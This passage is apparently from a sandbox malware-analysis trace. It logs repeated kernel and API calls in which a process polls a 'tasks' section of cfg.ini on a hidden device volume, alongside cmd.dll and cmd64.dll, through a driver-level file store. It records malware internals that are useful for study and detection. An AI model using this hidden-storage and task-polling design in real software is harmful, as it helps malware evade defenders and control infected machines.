_Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.639] KeEnterCriticalRegion () [0122.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfa000 [0122.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.639] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.639] IdePortDispatch () returned 0x103 [0122.639] KeWaitForMutexObject () returned 0x0 [0122.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.640] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.640] IdePortDispatch () returned 0x103 [0122.640] KeWaitForMutexObject () returned 0x0 [0122.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.640] KeLeaveCriticalRegion () [0122.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.640] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.640] KeEnterCriticalRegion () [0122.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.640] KeLeaveCriticalRegion () [0122.641] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.641] KeEnterCriticalRegion () [0122.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.641] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.641] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.641] KeLeaveCriticalRegion () [0122.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.641] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.641] KeEnterCriticalRegion () [0122.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.641] ExFreePoolWithTag (P=0xfffffa8003be6c00, Tag=0x0) [0122.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.641] KeLeaveCriticalRegion () [0122.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.641] ReleaseMutex (hMutex=0xf0) returned 1 [0122.641] Sleep (dwMilliseconds=0x927c0) [0122.649] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.649] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.649] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.650] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.650] KeEnterCriticalRegion () [0122.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.650] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.650] IdePortDispatch () returned 0x103 [0122.650] KeWaitForMutexObject () returned 0x0 [0122.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.650] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.650] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.650] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.650] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.650] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6400 [0122.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.650] KeLeaveCriticalRegion () [0122.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.650] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.650] KeEnterCriticalRegion () [0122.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.650] KeLeaveCriticalRegion () [0122.650] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.650] KeEnterCriticalRegion () [0122.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.650] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.650] IdePortDispatch () returned 0x103 [0122.651] KeWaitForMutexObject () returned 0x0 [0122.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.651] KeLeaveCriticalRegion () [0122.651] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.651] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.651] KeEnterCriticalRegion () [0122.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.651] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfd000 [0122.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.651] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.651] IdePortDispatch () returned 0x103 [0122.651] KeWaitForMutexObject () returned 0x0 [0122.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.651] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.651] IdePortDispatch () returned 0x103 [0122.651] KeWaitForMutexObject () returned 0x0 [0122.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.652] KeLeaveCriticalRegion () [0122.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.652] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.652] KeEnterCriticalRegion () [0122.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.652] KeLeaveCriticalRegion () [0122.652] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.652] KeEnterCriticalRegion () [0122.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.652] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.652] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.652] KeLeaveCriticalRegion () [0122.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.652] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.653] KeEnterCriticalRegion () [0122.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.653] ExFreePoolWithTag (P=0xfffffa8003be6400, Tag=0x0) [0122.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.653] KeLeaveCriticalRegion () [0122.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.653] ReleaseMutex (hMutex=0xf0) returned 1 [0122.653] Sleep (dwMilliseconds=0x927c0) [0122.668] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.668] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.668] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.668] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.668] KeEnterCriticalRegion () [0122.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.668] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.668] IdePortDispatch () returned 0x103 [0122.668] KeWaitForMutexObject () returned 0x0 [0122.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.669] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.669] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.669] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.669] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.669] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] KeLeaveCriticalRegion () [0122.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.669] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.669] KeEnterCriticalRegion () [0122.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] KeLeaveCriticalRegion () [0122.669] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.669] KeEnterCriticalRegion () [0122.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.669] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.669] IdePortDispatch () returned 0x103 [0122.669] KeWaitForMutexObject () returned 0x0 [0122.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] KeLeaveCriticalRegion () [0122.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.669] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.669] KeEnterCriticalRegion () [0122.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d02000 [0122.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.669] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.670] IdePortDispatch () returned 0x103 [0122.670] KeWaitForMutexObject () returned 0x0 [0122.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.670] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.670] IdePortDispatch () returned 0x103 [0122.670] KeWaitForMutexObject () returned 0x0 [0122.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.670] KeLeaveCriticalRegion () [0122.670] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.671] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.671] KeEnterCriticalRegion () [0122.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] KeLeaveCriticalRegion () [0122.671] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.671] KeEnterCriticalRegion () [0122.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.671] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] KeLeaveCriticalRegion () [0122.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.671] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.671] KeEnterCriticalRegion () [0122.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.671] KeLeaveCriticalRegion () [0122.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.671] ReleaseMutex (hMutex=0xf0) returned 1 [0122.671] Sleep (dwMilliseconds=0x927c0) [0122.688] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.688] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.688] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.688] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.688] KeEnterCriticalRegion () [0122.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.688] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.688] IdePortDispatch () returned 0x103 [0122.688] KeWaitForMutexObject () returned 0x0 [0122.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.688] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.688] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.688] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.688] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.688] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6aa0 [0122.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.688] KeLeaveCriticalRegion () [0122.688] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.688] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.688] KeEnterCriticalRegion () [0122.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.688] KeLeaveCriticalRegion () [0122.688] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.688] KeEnterCriticalRegion () [0122.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.688] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.688] IdePortDispatch () returned 0x103 [0122.689] KeWaitForMutexObject () returned 0x0 [0122.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.689] KeLeaveCriticalRegion () [0122.689] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.689] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.689] KeEnterCriticalRegion () [0122.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d07000 [0122.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.689] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.689] IdePortDispatch () returned 0x103 [0122.689] KeWaitForMutexObject () returned 0x0 [0122.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.689] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.689] IdePortDispatch () returned 0x103 [0122.689] KeWaitForMutexObject () returned 0x0 [0122.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] KeLeaveCriticalRegion () [0122.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.690] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.690] KeEnterCriticalRegion () [0122.690] ExAcquireFastMutexUnsafe 